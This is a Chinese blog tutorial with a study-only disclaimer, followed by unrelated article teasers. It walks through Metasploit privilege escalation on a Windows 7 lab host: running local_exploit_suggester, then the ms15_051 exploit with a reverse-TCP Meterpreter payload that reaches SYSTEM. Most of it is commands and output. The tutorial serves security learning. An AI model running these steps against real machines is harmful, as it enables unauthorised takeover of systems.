【网络安全】 MSF提权

本文章仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若读者因此作出任何危害网络安全的行为,后果自负,与作者无关。

环境准备:

名称系统位数IP
攻击机Kali Linux6410.3.0.231
客户端Windows 76410.3.0.234

当我们通过MSF成功登录靶机时,进行提权时如果报如下,表示没有拿到系统权限

meterpreter > getsystem# 输出
[-] priv_elevate_getsystem: Operation failed: 1726 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)

接下我们演示如何进入提权:

1、切换 msf

meterpreter > bg# 输出
[*] Backgrounding session 2...

2、使用本地漏洞模块

# 用这个模块快速识别系统中可能被利用的漏洞
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester# 输出
msf6 post(multi/recon/local_exploit_suggester) > 

3、设置 Session

# session 值通过 sessions -l 查看
msf6 post(multi/recon/local_exploit_suggester) > set session 2# 输出
session => 2

4、运行

msf6 post(multi/recon/local_exploit_suggester) > run# 输出[*] 10.3.0.234 - Collecting local exploits for x64/windows...
[*] 10.3.0.234 - 186 exploit checks are being tried...
[+] 10.3.0.234 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.3.0.234 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
[+] 10.3.0.234 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.3.0.234 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/ms15_078_atmfd_bof: The service is running, but could not be validated.
[+] 10.3.0.234 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[*] Running check method for exploit 43 / 43
[*] 10.3.0.234 - Valid modules for session 2:
============================#   Name                                                           Potentially Vulnerable?  Check Result-   ----                                                           -----------------------  ------------1   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.3   exploit/windows/local/bypassuac_sdclt                          Yes                      The target appears to be vulnerable.4   exploit/windows/local/cve_2019_1458_wizardopium                Yes                      The target appears to be vulnerable.5   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!6   exploit/windows/local/cve_2020_1054_drawiconex_lpe             Yes                      The target appears to be vulnerable.7   exploit/windows/local/cve_2021_40449                           Yes                      The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!8   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.9   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.10  exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.11  exploit/windows/local/ms15_078_atmfd_bof                       Yes                      The service is running, but could not be validated.12  exploit/windows/local/ms16_014_wmi_recv_notif                  Yes                      The target appears to be vulnerable.13  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.14  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.15  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.16  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.17  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.18  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.19  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found20  exploit/windows/local/capcom_sys_exec                          No                       The target is not exploitable.21  exploit/windows/local/cve_2020_0796_smbghost                   No                       The target is not exploitable.22  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.23  exploit/windows/local/cve_2020_1313_system_orchestrator        No                       The target is not exploitable.24  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.25  exploit/windows/local/cve_2020_17136                           No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!26  exploit/windows/local/cve_2021_21551_dbutil_memmove            No                       The target is not exploitable.27  exploit/windows/local/cve_2022_21882_win32k                    No                       The target is not exploitable.28  exploit/windows/local/cve_2022_21999_spoolfool_privesc         No                       The target is not exploitable. Windows 7 is technically vulnerable, though it requires a reboot.29  exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver  No                       The target is not exploitable.30  exploit/windows/local/cve_2023_21768_afd_lpe                   No                       The target is not exploitable. The exploit only supports Windows 11 22H231  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found32  exploit/windows/local/ikeext_service                           No                       The check raised an exception.33  exploit/windows/local/lexmark_driver_privesc                   No                       The target is not exploitable. No Lexmark print drivers in the driver store34  exploit/windows/local/ms16_075_reflection                      No                       The target is not exploitable.35  exploit/windows/local/ms16_075_reflection_juicy                No                       The target is not exploitable.36  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.37  exploit/windows/local/nvidia_nvsvc                             No                       The check raised an exception.38  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.39  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found40  exploit/windows/local/srclient_dll_hijacking                   No                       The target is not exploitable. Target is not Windows Server 2012.41  exploit/windows/local/tokenmagic                               No                       The target is not exploitable.42  exploit/windows/local/virtual_box_opengl_escape                No                       The target is not exploitable.43  exploit/windows/local/webexec                                  No                       The check raised an exception

5、我们找到一个漏洞,注意:这里不是每个漏洞都可以成功,要多试几个

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms15_051_client_copy_image# 输出
[*] Using configured payload windows/x64/meterpreter/reverse_tcp

6、查看这个模块的选项,这里有个注意点,因为我的靶机是 win7 64位系统,所以你通过msfvenom 生成的木马也要是64位,这里的 tartget 也要是64位的,如果不是,通过 set target 进行设置

msf6 exploit(windows/local/ms15_051_client_copy_image) > optionsModule options (exploit/windows/local/ms15_051_client_copy_image):Name     Current Setting  Required  Description----     ---------------  --------  -----------SESSION  2                yes       The session to run this module onPayload options (windows/x64/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)LHOST     10.3.0.231       yes       The listen address (an interface may be specified)LPORT     4444             yes       The listen port# 这里的 tartget 也要是64位的
Exploit target:Id  Name--  ----1   Windows x64

7、再次进行渗透,成功出现meterpreter ,代表成功

msf6 exploit(windows/local/ms15_051_client_copy_image) > run# 输出
[*] Started reverse TCP handler on 10.3.0.231:4444 
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching netsh to host the DLL...
[+] Process 3804 launched.
[*] Reflectively injecting the DLL into 3804...
[*] Sending stage (200774 bytes) to 10.3.0.234
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 4 opened (10.3.0.231:4444 -> 10.3.0.234:52882) at 2024-03-15 11:47:15 +0800meterpreter > 

8、 查看权限

meterpreter > getuid# 成功提权
Server username: NT AUTHORITY\SYSTEM

9、再次查看 sessions

msf6 exploit(windows/local/ms15_051_client_copy_image) > sessions -l# 我们发现也多了一个
Active sessions
===============Id  Name  Type                     Information                     Connection--  ----  ----                     -----------                     ----------2         meterpreter x64/windows  tomma-PC\tomma @ TOMMA-PC       10.3.0.231:9999 -> 10.3.0.234:52740 (10.3.0.234)4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ TOMMA-PC  10.3.0.231:4444 -> 10.3.0.234:52882 (10.3.0.234)

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/542256.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CentOS 7 socat命令端口转发 —— 筑梦之路

命令简介 socat是一个功能强大的命令行工具,也可以看作是netcat的加强版,它可以在两个端口之间建立虚拟通道,实现数据的传输。适用于网络调试、端口转发、安全测试等多种场景,是一个适合网络管理员和开发者的工具 yum在线安装 yu…

搭建GItlab实现自动化部署Springboot项目(超详细)

提示:本例程中使用Docker搭建GItlab,Gitlab runner 通过编写CICD文件实现Springboot项目自动部署。 1、拉取GitLab镜像 命令: docker pull gitlab/gitlab-ce2、部署Gitlab: 我们通过docker搭建的gitlab部署项目的时候会出现一个…

LeetCode 面试经典150题 80.删除有序数组中的重复项II

题目: 给你一个有序数组 nums ,请你 原地 删除重复出现的元素,使得出现次数超过两次的元素只出现两次 ,返回删除后数组的新长度。 不要使用额外的数组空间,你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件…

cuda cudnn安装

安装 cudnn是否安装成功 注意 cudnn对应的cuda的10.0版本无win11版本 下载win10 即可

002——编译鸿蒙(Liteos -a)

目录 一、鸿蒙是什么 二、Kconfig 2.1 概述 2.2 编译器 2.3 make使用 本文章引用了很多韦东山老师的教程内容,算是我学习过程中的笔记吧。如果侵权请联系我。 一、鸿蒙是什么 这里我补充一下对鸿蒙的描述 这张图片是鸿蒙发布时使用的,鸿蒙是一个很…

探讨NLP对行业大量数据信息抽取的技术实现

在本文中,为了实现高效的信息抽取,我们采用了一个自主研发的多模态AI的大模型NLP平台。 这个平台的使用过程分为以下几个步骤: 数据收集:我们收集了与项目相关的100条数据样本,这些样本涵盖了各种商品描述&#xff0c…

k8s部署hadoop

(作者:陈玓玏) 配置和模板参考helm仓库:https://artifacthub.io/packages/helm/apache-hadoop-helm/hadoop 先通过以下命令生成yaml文件: helm template hadoop pfisterer-hadoop/hadoop > hadoop.yaml用kube…

酷开科技以酷开系统的力量让电视机“活”起来

让用户回归电视的绝不会是因为电视机本身,而是电视系统的内容和交互的形式。酷开科技以系统的力量让电视机“活”起来。对于许多人来说,观看电影是一种享受、一种放松、一种逃避现实的方式。而现在,酷开科技作为行业内领军企业,为…

在react中使用tailwindcss

安装tailwind css npm i -D tailwindcssnpm:tailwindcss/postcss7-compat postcss^7 autoprefixer^9安装 CRACO 由于 Create React App 不能让您覆盖原生的 PostCSS 配置,所以我们还需要安装 CRACO 才能配置 Tailwind。 npm install craco/craco配置CRACO 在项目根…

Unity PS5开发 天坑篇 之 DEVKit环境部署与系统升级02

上一篇各位大神们已经收到了SONY官方免费寄送的PS5开发机与测试机,恭喜大家成为SONY的开发者, 本篇继续PS5开发机的部署与开发套件使用。 一, PC安装PS5 SDK与系统升级 1. PC/PS5 SDK Manager下载安装包 登录开发者账号后,Development->Resources&a…

基于有限状态机开发健壮的Nodejs/TCP客户端

有限状态机是一种数学计算模型,它描述了在任何给定时间只能处于一种状态的系统的行为。形式上,有限状态机有五个部分: 初始状态值 (initial state)有限的一组状态 (states)有限的一组事件 (events)由事件驱动的一组状态转移关系 (transition…

实现elasticsearch和数据库的数据同步

1. 数据同步 elasticsearch中的酒店数据来自于mysql数据库,因此mysql数据发生改变时,elasticsearch也必须跟着改变,这个就是elasticsearch与mysql之间的数据同步。 1.1. 思路分析 常见的数据同步方案有三种: 同步调用 异步通知…